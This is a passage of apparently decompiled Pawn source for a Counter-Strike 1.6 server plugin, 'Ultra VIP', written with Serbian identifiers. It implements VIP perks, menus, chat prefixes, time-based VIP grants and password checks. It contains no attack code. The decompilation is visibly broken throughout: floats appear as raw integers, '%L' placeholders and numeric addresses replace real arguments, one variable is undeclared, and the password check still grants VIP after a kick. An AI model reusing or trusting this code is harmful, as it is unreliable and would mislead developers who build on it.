			formatex(Linija, 349, "\"%s\" \"%s\"\x09\x09//%s", Cvarovi[i][0], Cvarovi[i][1], Cvarovi[i][2]);
			write_file(Datoteke[2], Linija, -1);
			i++;
		}
	}
	return 0;
}

PripremiCvarove()
{
	new i;
	while (i < 40)
	{
		Cvar[i][0] = register_cvar(Cvarovi[i][0], Cvarovi[i][1], "%L", "%L");
		i++;
	}
	server_cmd("exec %s", Datoteke[2]);
	server_exec();
	set_task(1073741824, "PodesiCvarove", "%L", 61940, "%L", 61944, "%L");
	get_pcvar_string(Cvar[15], VipBombeCvar, 4);
	FlagoviCvara = read_flags(VipBombeCvar);
	get_cvar_string("amx_password_field", PoljeZaPrijavu, 4);
	new var1 = PodaciCvaraZaVreme;
	get_pcvar_string(Cvar[38], var1[0][var1], 4);
	new var2 = PodaciCvaraZaVreme;
	replace_all(var2[0][var2], 4, 62024, 62032);
	new var3 = PodaciCvaraZaVreme;
	parse(var3[0][var3], PodaciCvaraZaVreme[1], 4, PodaciCvaraZaVreme[2], 4);
	return 0;
}

public PodesiCvarove()
{
	new i;
	while (i < 40)
	{
		Cvar[i][1] = get_pcvar_num(Cvar[i][0]);
		i++;
	}
	if (Cvar[39][1])
	{
		RegistrujObicanNoz();
	}
	if (Cvar[28][1])
	{
		MeriVreme();
		register_think("VipMeracVremena", "FunkcijaMeriVreme");
	}
	switch (Cvar[18][1])
	{
		case 1:
		{
			formatex(Prefiks1, 7, "\x01[VIP]");
		}
		case 2:
		{
			formatex(Prefiks1, 7, "\x04[VIP]");
		}
		case 3:
		{
			formatex(Prefiks1, 7, "\x03[VIP]");
		}
		default:
		{
		}
	}
	return 0;
}

PripremiForwarde()
{
	new i;
	while (i < 8)
	{
		Forwardi[i] = CreateMultiForward(ImenaForwarda[i], "%L", 0);
		i++;
	}
	NizPomagala = ArrayCreate(65, 32);
	Forward = CreateMultiForward("vip_pomagalo_izabrano", "%L", 0, 0);
	NizNozevi = ArrayCreate(96, 32);
	ForwardNozevi = CreateMultiForward("vip_noz_izabran", "%L", 0, 0);
	return 0;
}

UcitajVipove()
{
	Niz[0] = TrieCreate();
	Niz[1] = TrieCreate();
	new Datoteka = fopen(Datoteke[1], "rt");
	while (Datoteka && !feof(Datoteka))
	{
		static PodaciIzDatoteke[2][32];
		static Podaci[128];
		fgets(Datoteka, Podaci, 127);
		new var3;
		if (!(!Podaci[0] || Podaci[0] == 59 || (Podaci[0] == 47 && Podaci[1] == 47)))
		{
			new var4 = PodaciIzDatoteke;
			if (!(2 > parse(Podaci, var4[0][var4], 31, PodaciIzDatoteke[1], 31)))
			{
				new var5 = PodaciIzDatoteke;
				new var6 = PodaciIzDatoteke;
				TrieSetString(Niz[0], var6[0][var6], var5[0][var5]);
				new var7 = PodaciIzDatoteke;
				TrieSetString(Niz[0], var7[0][var7], PodaciIzDatoteke[1]);
			}
		}
	}
	fclose(Datoteka);
	return 0;
}

public MeriVreme()
{
	if (!Cvar[28][1])
	{
		return 0;
	}
	new Objekat = create_entity("info_target");
	if (!Objekat)
	{
		return 0;
	}
	entity_set_string(Objekat, "%L", "VipMeracVremena");
	entity_set_float(Objekat, 7, floatadd(1065353216, get_gametime()));
	return 0;
}

public FunkcijaMeriVreme(Objekat)
{
	if (!Cvar[28][1])
	{
		return 0;
	}
	if (!is_valid_ent(Objekat))
	{
		return 0;
	}
	static ImeObjekta[16];
	entity_get_string(Objekat, "%L", ImeObjekta, 15);
	entity_set_float(Objekat, 7, floatadd(1065353216, get_gametime()));
	if (!equali(ImeObjekta, "VipMeracVremena", "%L"))
	{
		return 0;
	}
	new id = 1;
	while (Globalne[0] >= id)
	{
		new var2;
		if (bym_igrac_je(id, 1) && !bym_igrac_je(id, 2) && 1 << id & 31 & OznakeIgraca[0])
		{
			PovecavajVreme(id);
		}
		id++;
	}
	return 0;
}

public Pocetak(id)
{
	new var1;
	if (!bym_igrac_je(id, 0) || !bym_igrac_je(id, 1))
	{
		return 1;
	}
	new var2;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var2 = 1;
	}
	else
	{
		var2 = 0;
	}
	if (var2)
	{
		new var5 = Cvar;
		entity_set_float(id, 13, floatadd(entity_get_float(id, 13), float(var5[0][var5][1])));
		entity_set_float(id, 19, floatadd(entity_get_float(id, 19), float(Cvar[2][1])));
		entity_set_float(id, 8, get_pcvar_float(Cvar[24]));
		cs_set_user_money(id, Cvar[1][1] + cs_get_user_money(id), 1);
		InformacijeIgraca[id][16] = Cvar[1][1];
		DajBombe(id);
		PodesiMuniciju(id);
		if (Cvar[32][1])
		{
			IzaberiPusku(id);
		}
		ExecuteForward(Forwardi[2], Odziv, id);
	}
	new var4;
	if (InformacijeIgraca[id][6] >= Cvar[29][1] && Cvar[28][1] && 1 << id & 31 & OznakeIgraca[0])
	{
		static Razlog[64];
		formatex(Razlog, 63, "Provero %d od %d sati na serveru", InformacijeIgraca[id][6], Cvar[29][1]);
		DajVipa(id, 0, 0, 63828, Razlog);
	}
	ColorChat(id, Color:2, "[Ultra VIP] \x01%L Ultra VIP by Milutinke [v%s]", id, "ML_KORISTI", "1.3");
	return 1;
}

DajBombe(id)
{
	if (FlagoviCvara & 64)
	{
		give_item(id, "weapon_hegrenade");
	}
	if (FlagoviCvara & 8)
	{
		give_item(id, "weapon_smokegrenade");
	}
	if (FlagoviCvara & 33554432)
	{
		give_item(id, "weapon_flashbang");
	}
	if (FlagoviCvara & 32)
	{
		give_item(id, "weapon_flashbang");
	}
	return 0;
}

public VipMeni(id)
{
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	if (!var1)
	{
		ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NISI_VIP");
		return 0;
	}
	static Naslov[20];
	static Stavka[64];
	formatex(Naslov, 19, "%L:", id, "ML_NASLOV_VIP_MENIJA");
	new Meni = menu_create(Naslov, "FunkcijaVipMenija", "%L");
	new i;
	while (i < 2)
	{
		formatex(Stavka, 63, "\y%L", id, SadrzajVipMenija[i]);
		menu_additem(Meni, Stavka, 64996, "%L", -1);
		i++;
	}
	menu_display(id, Meni, "%L");
	return 0;
}

public FunkcijaVipMenija(id, Meni, Stavka)
{
	if (Stavka == -3)
	{
		menu_destroy(Meni);
		return 0;
	}
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	if (!var1)
	{
		ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NISI_VIP");
		return 0;
	}
	if (!bym_igrac_je(id, 0))
	{
		ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NISI_ZIV");
		return 0;
	}
	switch (Stavka)
	{
		case 0:
		{
			KupiPomagala(id);
		}
		case 1:
		{
			IzaberiNoz(id);
		}
		default:
		{
		}
	}
	return 0;
}

public NanesiStetu(Zrtva, Ugrozavac, Napadac, Float:Steta, VrstaStete)
{
	new var1;
	if (!bym_igrac_je(Zrtva, 1) || !bym_igrac_je(Zrtva, 0) || !bym_igrac_je(Napadac, 1) || !bym_igrac_je(Napadac, 0) || bym_igrac_je(Napadac, 2) || get_user_team(Napadac, {0}, "%L") != get_user_team(Zrtva, {0}, "%L"))
	{
		return 1;
	}
	new var2;
	if (1 << Napadac & 31 & OznakeIgraca[0])
	{
		var2 = 1;
	}
	else
	{
		var2 = 0;
	}
	if (var2)
	{
		Steta = floatadd(Steta, float(Cvar[16][1]));
	}
	if (0 < InformacijeIgraca[Zrtva][0])
	{
		InformacijeIgraca[Zrtva]--;
		return 4;
	}
	new var3;
	if (1 << Zrtva & 31 & OznakeIgraca[0])
	{
		var3 = 1;
	}
	else
	{
		var3 = 0;
	}
	if (var3)
	{
		if (get_user_weapon(Napadac, 0, 0) == 29)
		{
			return 4;
		}
	}
	SetHamParamFloat(4, Steta);
	return 1;
}

public Smrt()
{
	new Napadac = read_data(1);
	new Zrtva = read_data(2);
	new Hs = read_data(3);
	new var1;
	if (!bym_igrac_je(Napadac, 0) || !bym_igrac_je(Napadac, 1) || !bym_igrac_je(Zrtva, 1) || bym_igrac_je(Napadac, 2) || bym_igrac_je(Zrtva, 0))
	{
		return 0;
	}
	new var2;
	if (1 << Napadac & 31 & OznakeIgraca[0])
	{
		var2 = 1;
	}
	else
	{
		var2 = 0;
	}
	if (var2)
	{
		ExecuteForward(Forwardi[3], Odziv, Napadac);
		new var3;
		if (Hs)
		{
			var3 = 3;
		}
		else
		{
			var3 = 4;
		}
		entity_set_float(Napadac, 13, floatadd(entity_get_float(Napadac, 13), float(Cvar[var3][1])));
		new var4;
		if (Hs)
		{
			var4 = 5;
		}
		else
		{
			var4 = 6;
		}
		entity_set_float(Napadac, 19, floatadd(entity_get_float(Napadac, 19), float(Cvar[var4][1])));
		new var5;
		if (Hs)
		{
			var5 = 7;
		}
		else
		{
			var5 = 7;
		}
		cs_set_user_money(Napadac, Cvar[var5][1][cs_get_user_money(Napadac)], 1);
		new var6;
		if (Hs)
		{
			var6 = 10;
		}
		else
		{
			var6 = 11;
		}
		set_user_frags(Napadac, Cvar[var6][1][get_user_frags(Napadac)]);
		ObojiEkran(Napadac, 4096, 4096, 4096, 0, 200, 250, 70);
		new var7;
		if (Hs)
		{
			var7 = 10;
		}
		else
		{
			var7 = 11;
		}
		new var8;
		if (Hs)
		{
			var8 = 7;
		}
		else
		{
			var8 = 7;
		}
		new var9;
		if (Hs)
		{
			var9 = 5;
		}
		else
		{
			var9 = 6;
		}
		new var10;
		if (Hs)
		{
			var10 = 3;
		}
		else
		{
			var10 = 4;
		}
		ColorChat(Napadac, Color:2, "[Ultra VIP] \x01%L \x04%s", Napadac, "ML_DOBIO_SI_ZA_UBISTVO", Cvar[var10][1], Cvar[var9][1], Cvar[var8][1], Cvar[var7][1], InformacijeIgraca[Zrtva][39]);
	}
	else
	{
		new var11;
		if (1 << Zrtva & 31 & OznakeIgraca[0])
		{
			var11 = 1;
		}
		else
		{
			var11 = 0;
		}
		if (var11)
		{
			ObojiEkran(Zrtva, 4096, 4096, 4096, 255, 0, 0, 70);
			ExecuteForward(Forwardi[4], Odziv, Zrtva);
		}
	}
	return 0;
}

public bomb_defused(id)
{
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	new var2;
	if (!var1 || !bym_igrac_je(id, 0) || !bym_igrac_je(id, 1))
	{
		return 0;
	}
	cs_set_user_money(id, Cvar[9][1] + cs_get_user_money(id), 1);
	ColorChat(id, Color:2, "[Ultra VIP] \n%L", id, "ML_DOBIO_ZA_C4_DEF", Cvar[9][1]);
	ObojiEkran(id, 4096, 4096, 4096, 0, 200, 250, 70);
	ExecuteForward(Forwardi[6], Odziv, id);
	return 0;
}

public bomb_planted(id)
{
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	new var2;
	if (!var1 || !bym_igrac_je(id, 0) || !bym_igrac_je(id, 1))
	{
		return 0;
	}
	cs_set_user_money(id, Cvar[9][1] + cs_get_user_money(id), 1);
	ColorChat(id, Color:2, "[Ultra VIP] \n%L", id, "ML_DOBIO_ZA_C4_PLANT", Cvar[9][1]);
	ObojiEkran(id, 4096, 4096, 4096, 0, 200, 250, 70);
	ExecuteForward(Forwardi[5], Odziv, id);
	return 0;
}

public SkorOznaka(IdPoruke, Odrediste, Primalac)
{
	new Igrac = get_msg_arg_int(1);
	new var1;
	if (1 << Igrac & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	new var2;
	if (var1 && Cvar[19][1] && !bym_igrac_je(Igrac, 2))
	{
		new var3;
		if (is_user_alive(Igrac))
		{
			var3 = 4;
		}
		else
		{
			var3 = 1;
		}
		set_msg_arg_int(2, 1, var3);
	}
	return 0;
}

public ChatPrefiks(id)
{
	static Reko[192];
	read_args(Reko, 191);
	remove_quotes(Reko);
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	if (var1)
	{
		static i;
		static Poruka[256];
		formatex(Poruka, 255, "\x01%s %s\x03 %s \x01: %s", InfoChata[bym_igrac_je(id, 0)][cs_get_user_team(id, 0)], Prefiks1, InformacijeIgraca[id][39], Reko);
		i = 1;
		while (Globalne[0] >= i)
		{
			if (bym_igrac_je(i, 1))
			{
				new var2;
				if ((bym_igrac_je(id, 0) && bym_igrac_je(i, 0)) || (!bym_igrac_je(id, 0) && !bym_igrac_je(i, 0)))
				{
					IspisiPoruku(Poruka, id, i);
				}
			}
			i += 1;
		}
		return 2;
	}
	return 0;
}

IspisiPoruku(Poruka[], id, i)
{
	message_begin(1, PorukaChat, 67548, i);
	write_byte(id);
	write_string(Poruka);
	message_end();
	return 0;
}

public client_PreThink(id)
{
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	new var2;
	if (var1 && Cvar[13][1] && bym_igrac_je(id, 0) && bym_igrac_je(id, 1))
	{
		entity_set_float(id, 34, "%L");
		if (entity_get_int(id, 34) & 2)
		{
			new Oznake = entity_get_int(id, 27);
			new var3;
			if (Oznake & 2048 || entity_get_int(id, 24) >= 2 || !Oznake & 512)
			{
				return 0;
			}
			static Float:Brzina[3];
			entity_get_vector(id, 2, Brzina);
			new var5 = Brzina[2];
			var5 = floatadd(1132068864, var5);
			entity_set_vector(id, 2, Brzina);
			entity_set_int(id, 21, 6);
		}
		new var4;
		if (entity_get_float(id, 32) >= 1135542272 && Cvar[23][1])
		{
			new var6 = OznakeIgraca[1];
			var6 = 1 << id & 31 | var6;
		}
		new var7 = OznakeIgraca[1];
		var7 = ~1 << id & 31 & var7;
	}
	return 0;
}

public client_PostThink(id)
{
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	new var2;
	if (var1 && Cvar[13][1] && bym_igrac_je(id, 0) && bym_igrac_je(id, 1))
	{
		new var3;
		if (1 << id & 31 & OznakeIgraca[1])
		{
			var3 = 1;
		}
		else
		{
			var3 = 0;
		}
		new var4;
		if (var3 && Cvar[23][1])
		{
			entity_set_int(id, 25, -3);
		}
	}
	return 0;
}

public IgracJeSkocio(id)
{
	new var1;
	if (!bym_igrac_je(id, 0) || !bym_igrac_je(id, 1) || bym_igrac_je(id, 2))
	{
		return 1;
	}
	new Oznake = entity_get_int(id, 27);
	new var2;
	if (Oznake & 2048 || entity_get_int(id, 24) >= 2 || !get_pdata_int(id, 246, 5, 5) & 2)
	{
		return 1;
	}
	if (Oznake & 512)
	{
		InformacijeIgraca[id][2] = 0;
		return 1;
	}
	new var3;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var3 = 1;
	}
	else
	{
		var3 = 0;
	}
	new var4;
	if (var3 && var5 < Cvar[20][1])
	{
		static Float:Brzina[3];
		entity_get_vector(id, 2, Brzina);
		Brzina[2] = random_float(1132756992, 1133412352);
		entity_set_vector(id, 2, Brzina);
		return 2;
	}
	return 1;
}

public client_putinserver(id)
{
	bym_igrac_je_usao(id);
	new var1;
	if (bym_igrac_je(id, 2) || !1 <= id <= Globalne[0])
	{
		return 0;
	}
	InformacijeIgraca[id][0] = 0;
	InformacijeIgraca[id][2] = 0;
	InformacijeIgraca[id][1] = 0;
	InformacijeIgraca[id][3] = 0;
	InformacijeIgraca[id][4] = 0;
	InformacijeIgraca[id][5] = 0;
	InformacijeIgraca[id][6] = 0;
	new var3 = OznakeIgraca;
	var3[0] = ~1 << id & 31 & var3[0];
	new var4 = OznakeIgraca[1];
	var4 = ~1 << id & 31 & var4;
	get_user_authid(id, InformacijeIgraca[id][7], 31);
	get_user_name(id, InformacijeIgraca[id][39], 31);
	get_user_ip(id, InformacijeIgraca[id][71], 19, 1);
	if (!NocnoVreme())
	{
		PotvrdiPristup(id);
	}
	else
	{
		new var5 = OznakeIgraca;
		var5[0] = 1 << id & 31 | var5[0];
		set_user_flags(id, 524288, "%L");
		new var2;
		if (1 << id & 31 & OznakeIgraca[0])
		{
			var2 = 1;
		}
		else
		{
			var2 = 0;
		}
		if (var2)
		{
			ExecuteForward(Forwardi[0], Odziv, id);
		}
	}
	set_task(1084227584, "VipUsaoNaServer", id, 61940, "%L", 61944, "%L");
	set_task(1084227584, "ReklamaAutor", id, 61940, "%L", 61944, "%L");
	set_task(1065353216, "UcitajVreme", id, 61940, "%L", 61944, "%L");
	set_task(get_pcvar_float(Cvar[26]), "Reklama", id, 61940, "%L", 67780, "%L");
	return 0;
}

public client_disconnect(id)
{
	SacuvajVreme(id);
	InformacijeIgraca[id][0] = 0;
	InformacijeIgraca[id][2] = 0;
	InformacijeIgraca[id][1] = 0;
	InformacijeIgraca[id][3] = 0;
	InformacijeIgraca[id][4] = 0;
	InformacijeIgraca[id][5] = 0;
	InformacijeIgraca[id][6] = 0;
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	if (var1)
	{
		ExecuteForward(Forwardi[1], Odziv, id);
	}
	new var2 = OznakeIgraca;
	var2[0] = ~1 << id & 31 & var2[0];
	new var3 = OznakeIgraca[1];
	var3 = ~1 << id & 31 & var3;
	return 0;
}

public ReklamaAutor(id)
{
	ColorChat(id, Color:2, "[Ultra VIP] \x01%L Ultra VIP by Milutinke [v%s]", id, "ML_KORISTI", "1.3");
	ColorChat(id, Color:2, "[Ultra VIP] \x01%L, say /vip", id, "ML_DA_VIDI_MOGUCNOSTI");
	return 0;
}

public Reklama(id)
{
	switch (random_num(1, 7))
	{
		case 1:
		{
			ColorChat(id, Color:2, "[Ultra VIP] \x01%L, say /vips", id, "ML_DA_VIDIS_ONLINE_VIPOVE");
		}
		case 2:
		{
			ColorChat(id, Color:2, "[Ultra VIP] \x01%L, say /vm", id, "ML_DA_OTVORIS_VIP_MENI");
		}
		case 3:
		{
			ColorChat(id, Color:2, "[Ultra VIP] \x01%L, say /vipknife", id, "ML_DA_PROMENIS_NOZ");
		}
		case 4:
		{
			ColorChat(id, Color:2, "[Ultra VIP] \x01%L, say /vipitems", id, "ML_DA_KUPIS_ITEME");
		}
		case 5:
		{
			ColorChat(id, Color:2, "[Ultra VIP] \x01%L, say /vip", id, "ML_DA_VIDI_MOGUCNOSTI");
		}
		case 6:
		{
			ColorChat(id, Color:2, "[Ultra VIP] \x01%L  say /timeforvip", id, "ML_DA_VIDIS_VREME");
		}
		case 7:
		{
			ColorChat(id, Color:2, "[Ultra VIP] \x01%L  say /viplotto", id, "ML_LOTTO_REKLAMA", Cvar[31][1]);
		}
		default:
		{
		}
	}
	return 0;
}

public VipUsaoNaServer(id)
{
	new var2;
	if (!Cvar[21][1] || 1 << id & 31 & OznakeIgraca[0] || !bym_igrac_je(id, 1) || bym_igrac_je(id, 2))
	{
		return 0;
	}
	static Boja[3];
	RastaviCvarZaBoju(Cvar[22], Boja, 69608 + 4, 69608 + 8);
	new i = 1;
	while (Globalne[0] >= i)
	{
		new var3;
		if (bym_igrac_je(i, 1) && !bym_igrac_je(i, 2))
		{
			set_dhudmessage(Boja[0], Boja[1], Boja[2], -1.0, random_float(1060320051, 1062836634), 0, 0.0, 4.0, 0.1, 1.5, false);
			show_dhudmessage(i, "%L", -1, "ML_VIP_USAO_NA_SRW", InformacijeIgraca[id][39]);
			ColorChat(i, Color:2, "[Ultra Vip] \x01%L", -1, "ML_VIP_USAO_NA_SRW", InformacijeIgraca[id][39]);
		}
		i++;
	}
	set_user_flags(id, 524288, "%L");
	new var4;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var4 = 1;
	}
	else
	{
		var4 = 0;
	}
	if (var4)
	{
		ExecuteForward(Forwardi[0], Odziv, id);
	}
	return 0;
}

public KomandaOsveziListuvipova(id, Pristup, Cid)
{
	if (!cmd_access(id, 0, Cid, 1, false))
	{
		return 1;
	}
	if (!get_user_flags(id, "%L") & 8)
	{
		return 1;
	}
	Osvezi();
	return 1;
}

public Osvezi()
{
	TrieDestroy(Niz);
	TrieDestroy(52016 + 4);
	UcitajVipove();
	new i;
	while (Globalne[0] >= i)
	{
		PotvrdiPristup(i);
		i++;
	}
	server_cmd("exec %s", Datoteke[2]);
	server_exec();
	server_print("%L", -1, "ML_LISTA_VIPOVA_OSVEZENA_USPESNO");
	return 0;
}

public PocetakRunde()
{
	Osvezi();
	return 0;
}

public KomandaListaVipIgrac(id, Pristup, Cid)
{
	if (!cmd_access(id, 0, Cid, 1, false))
	{
		return 1;
	}
	if (!get_user_flags(id, "%L") & 8)
	{
		return 1;
	}
	console_print(id, "\n*** --== Lista VIP-ova ==-- ***\n ");
	console_print(id, "ID - Steam/Ime/Ip - Lozinka\n ");
	new Datoteka = fopen(Datoteke[1], "rt");
	static Ajdi;
	while (Datoteka && !feof(Datoteka))
	{
		static PodaciZaPristup[2][32];
		static Podaci[128];
		fgets(Datoteka, Podaci, 127);
		new var3;
		if (!(!Podaci[0] || Podaci[0] == 59 || (Podaci[0] == 47 && Podaci[1] == 47)))
		{
			new var5 = PodaciZaPristup;
			if (!(2 > parse(Podaci, var5[0][var5], 31, PodaciZaPristup[1], 31)))
			{
				new var6 = PodaciZaPristup;
				if (var6[0][var6])
				{
					Ajdi += 1;
				}
				new var4;
				if (PodaciZaPristup[1])
				{
					var4 = PodaciZaPristup[1];
				}
				else
				{
					var4 = 71276;
				}
				new var7 = PodaciZaPristup;
				console_print(id, "ID: %d | Steam/Nick/Ip: %s | Password/Lozinka: %s", Ajdi, var7[0][var7], var4);
			}
		}
	}
	if (Datoteka)
	{
		fclose(Datoteka);
	}
	console_print(id, "\n*** --== Lista VIP-ova ==-- ***\n ");
	return 1;
}

public KomandaDajVipa(id, Pristup, Cid)
{
	if (!cmd_access(id, 0, Cid, 3, false))
	{
		return 1;
	}
	if (!get_user_flags(id, "%L") & 8)
	{
		return 1;
	}
	static LozinkaIgraca[16];
	static Razlog[32];
	static Pajser[32];
	read_argv(1, Pajser, 31);
	read_argv(2, LozinkaIgraca, 15);
	read_argv(3, Razlog, 31);
	new Igrac = cmd_target(id, Pajser, 0);
	new var1;
	if (1 << Igrac & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	if (var1)
	{
		console_print(id, "%L", id, "ML_KONZOLA_IGRAC_JE_VEC_VIP");
		return 1;
	}
	if (bym_igrac_je(Igrac, 2))
	{
		console_print(id, "%L", id, "ML_KONZOLA_IGRAC_JE_BOT");
		return 1;
	}
	if (!bym_igrac_je(Igrac, 1))
	{
		console_print(id, "%L", id, "ML_KONZOLA_IGRAC_NIJE_POVEZAN");
		return 1;
	}
	new var2;
	if (Razlog[0])
	{
		var2[0] = 71584;
	}
	else
	{
		var2[0] = 72144;
	}
	new var3;
	if (LozinkaIgraca[0])
	{
		var3[0] = 71712;
	}
	else
	{
		var3[0] = 72140;
	}
	DajVipa(Igrac, id, 0, var3, var2);
	Osvezi();
	return 1;
}

public DajVipa(Igrac, Dodavac, Nasta, LozinkaIgraca[], Razlog[])
{
	new var1;
	if (1 << Igrac & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	new var2;
	if (var1 || bym_igrac_je(Igrac, 2) || !bym_igrac_je(Igrac, 1))
	{
		return 0;
	}
	static NaStaSeDodaje[32];
	static Vreme[20];
	static Linija[3][256];
	static ImeIgr[2][32];
	new var10 = ImeIgr;
	get_user_name(Igrac, var10[0][var10], 31);
	get_time("%H:%M:%S %d.%m.%y", Vreme, 19);
	if (!Dodavac)
	{
		formatex(ImeIgr[1], 31, "Ultra Vip Plugin");
	}
	else
	{
		formatex(ImeIgr[1], 31, "%s", InformacijeIgraca[Dodavac][39]);
	}
	switch (Nasta)
	{
		case 0:
		{
			formatex(NaStaSeDodaje, 31, "%s", InformacijeIgraca[Igrac][7]);
		}
		case 1:
		{
			formatex(NaStaSeDodaje, 31, "%s", InformacijeIgraca[Igrac][39]);
		}
		case 2:
		{
			formatex(NaStaSeDodaje, 31, "%s", InformacijeIgraca[Igrac][71]);
		}
		default:
		{
		}
	}
	new var11 = Linija;
	formatex(var11[0][var11], 255, 75956);
	new var3;
	if (LozinkaIgraca[0])
	{
		var3 = LozinkaIgraca;
	}
	else
	{
		var3 = 76004;
	}
	formatex(Linija[1], 255, "\"%s\" \"%s\"", NaStaSeDodaje, var3);
	new var12 = ImeIgr;
	new var4;
	if (Razlog[0])
	{
		var4 = Razlog;
	}
	else
	{
		var4 = 76256;
	}
	formatex(Linija[2], 255, ";Razlog: %s | Dodao: %s | Vreme i datum: %s | Nick igraca: %s", var4, var12[0][var12], Vreme, ImeIgr[1]);
	new i;
	while (i < 3)
	{
		write_file(Datoteke[1], Linija[i], -1);
		i++;
	}
	new id = 1;
	while (Globalne[0] >= id)
	{
		new var5;
		if (bym_igrac_je(id, 1) && !bym_igrac_je(id, 2))
		{
			new var6;
			if (Razlog[0])
			{
				var6 = Razlog;
			}
			else
			{
				var6 = 76472;
			}
			new var13 = ImeIgr;
			ColorChat(id, Color:2, "[Ultra VIP] \x01%L.", id, "ML_IGRAC_DOBIO_VIPA", ImeIgr[1], var13[0][var13], var6);
		}
		id++;
	}
	new var7;
	if (bym_igrac_je(Igrac, 1) && !bym_igrac_je(Igrac, 2))
	{
		set_dhudmessage(0, 255, 255, -1.0, 0.75, 0, 6.0, 15.0, 0.1, 1.5, false);
		new var8;
		if (LozinkaIgraca[0])
		{
			var8 = LozinkaIgraca;
		}
		else
		{
			var8 = 76744;
		}
		show_dhudmessage(Igrac, "%L\n%L\n%L", Igrac, "ML_HUD_DOBIO_SI_VIPA", ImeIgr[1], Igrac, "ML_RAZLOG", Razlog, Igrac, "ML_LOZINKA", var8);
	}
	new var9;
	if (bym_igrac_je(Igrac, 1) && LozinkaIgraca[0])
	{
		set_user_info(Igrac, PoljeZaPrijavu, LozinkaIgraca);
		client_cmd(Igrac, "setinfo \"%s\" \"%s\"", PoljeZaPrijavu, LozinkaIgraca);
	}
	return 0;
}

public PotvrdiPristup(id)
{
	if (!1 <= id <= Globalne[0])
	{
		return 0;
	}
	static LozinkaIgraca[2][20];
	new var1 = LozinkaIgraca;
	get_user_info(id, PoljeZaPrijavu, var1[0][var1], 19);
	if (TrieKeyExists(Niz[0], InformacijeIgraca[id][7]))
	{
		TrieGetString(Niz[1], InformacijeIgraca[id][7], LozinkaIgraca[1], 19);
		new var2 = LozinkaIgraca;
		ProveriLozinku(id, var2[0][var2], LozinkaIgraca[1]);
	}
	else
	{
		if (TrieKeyExists(Niz[0], InformacijeIgraca[id][39]))
		{
			TrieGetString(Niz[1], InformacijeIgraca[id][39], LozinkaIgraca[1], 19);
			new var3 = LozinkaIgraca;
			ProveriLozinku(id, var3[0][var3], LozinkaIgraca[1]);
		}
		if (TrieKeyExists(Niz[0], InformacijeIgraca[id][71]))
		{
			TrieGetString(Niz[1], InformacijeIgraca[id][71], LozinkaIgraca[1], 19);
			new var4 = LozinkaIgraca;
			ProveriLozinku(id, var4[0][var4], LozinkaIgraca[1]);
		}
	}
	return 0;
}

public ProveriLozinku(id, Lozinka1[], Lozinka2[])
{
	if (!Lozinka2[0])
	{
		new var1 = OznakeIgraca;
		var1[0] = 1 << id & 31 | var1[0];
	}
	else
	{
		if (!equal(Lozinka1, Lozinka2, "%L"))
		{
			server_cmd("kick #%d \"Invalid Password - Pogresna Lozinka!\" ", get_user_userid(id));
		}
		new var2 = OznakeIgraca;
		var2[0] = 1 << id & 31 | var2[0];
	}
	return 0;
}

public KupiPomagala(id)
{
	if (!BrojDodatihPomagala)
	{
		ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NEMA_DODATIH_POMAGALA");
		return 0;
	}
	if (!bym_igrac_je(id, 0))
	{
		ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NISI_ZIV");
		return 0;
	}
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	if (!var1)
	{
		ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NISI_VIP");
		return 0;
	}
	static Naslov[20];
	formatex(Naslov, 19, "\y%L:", id, "ML_NASLOV_POMAGALA");
	new Meni = menu_create(Naslov, "KupiPomagalaFunkcija", "%L");
	new Broj[3];
	new Sadrzaj[64];
	new i;
	while (i < BrojDodatihPomagala)
	{
		ArrayGetArray(NizPomagala, i, Pomagala);
		formatex(Sadrzaj, 63, "\w%s \y(%L: \r$%d\y)", Pomagala, id, "ML_CENA", 52552 + 256);
		num_to_str(i, Broj, 2);
		menu_additem(Meni, Sadrzaj, Broj, "%L", -1);
		i++;
	}
	menu_display(id, Meni, "%L");
	return 0;
}

public KupiPomagalaFunkcija(id, Meni, Stavka)
{
	if (Stavka == -3)
	{
		menu_destroy(Meni);
		return 0;
	}
	if (!bym_igrac_je(id, 0))
	{
		ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NISI_ZIV");
		return 0;
	}
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	if (!var1)
	{
		ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NISI_VIP");
		return 0;
	}
	new PristupMeniju;
	new Broj[3];
	new Odziv;
	menu_item_getinfo(Meni, Stavka, PristupMeniju, Broj, 2, {0}, "%L", Odziv);
	menu_destroy(Meni);
	new IdPomagala = str_to_num(Broj);
	KupiPomagalo(id, IdPomagala, 0);
	return 0;
}

public KupiPomagalo(id, IdPomagala, Besplatno)
{
